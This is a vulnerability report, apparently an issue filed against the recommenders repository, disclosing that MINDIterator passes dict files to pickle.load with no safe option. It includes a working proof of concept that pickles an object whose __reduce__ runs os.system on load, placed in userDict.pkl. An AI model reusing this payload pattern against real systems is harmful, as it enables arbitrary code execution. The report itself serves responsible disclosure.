[BUG] recommenders newsrec iterator constructor loads pickle dict files that trigger deserialization RCE
Author: ez-lbzCreated Aug 30, 2026Updated Aug 30, 2026
Labelsbug
recommenders newsrec iterator constructor loads pickle dict files that trigger deserialization RCE
Affected Component
- Component:
recommenders(reporecommenders-team/recommenders; both master 0bb4b369 and the current PyPI release are affected); modulerecommenders/models/newsrec/io/mind_iterator.py(incl.mind_all_iterator.py): theMINDIterator.__init__(hparams, ...)constructor path callsload_dict(:62-67).
Summary
The dict-loading path of MINDIterator exposes no switch or safe option, and no field in hparams can select a safe loader. No matter how the user configures it, all four dict files reach pickle.load through the same load_dict path. The pickle file format itself can carry an executable payload, so a benign dict and a malicious payload are indistinguishable at the byte level. The loading side therefore cannot validate file contents before deserialization fires, and no configuration-level defense has any point at which it could take effect.
Vulnerable Code
# recommenders/models/newsrec/io/mind_iterator.py
def load_dict(self, file_path):
"""Load a pickle file."""
with open(file_path, "rb") as f:
return pickle.load(f) # :67 *** deserialization sink ***
# Constructor (hparams pass-through chain :54-55):
self.uid2index = self.load_dict(hparams.userDict_file) # the other three dicts (wordDict_file etc.) follow the same path
Proof of Concept
#!/usr/bin/env python3
# Drive the official entry point MINDIterator(hparams): the constructor itself loads the four dict files (mind_iterator.py:54-55).
import os, pickle
from recommenders.models.newsrec.io.mind_iterator import MINDIterator
from recommenders.models.newsrec.newsrec_utils import prepare_hparams
# 1) The four dict files exchanged between preprocessing and training: three benign, one malicious (any one of them triggers).
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/PWNED_recommenders',))
for n in ('wordDict', 'vertDict', 'subvertDict'):
with open(f'/tmp/{n}.pkl', 'wb') as f:
pickle.dump({}, f)
with open('/tmp/userDict.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# 2) Build hparams via the official prepare_hparams: reuse the quickstart YAML (same as tutorials/NAML.ipynb), overriding the dict paths.
hparams = prepare_hparams(
yaml_file='recommenders/models/newsrec/properties/naml/NAML.yaml',
wordDict_file='/tmp/wordDict.pkl',
userDict_file='/tmp/userDict.pkl', # <- malicious dict
vertDict_file='/tmp/vertDict.pkl',
subvertDict_file='/tmp/subvertDict.pkl',
)
iterator = MINDIterator(hparams=hparams) # :54-55 -> load_dict(:57) -> pickle.load(:67) triggers execution
Source: recommenders-team/recommenders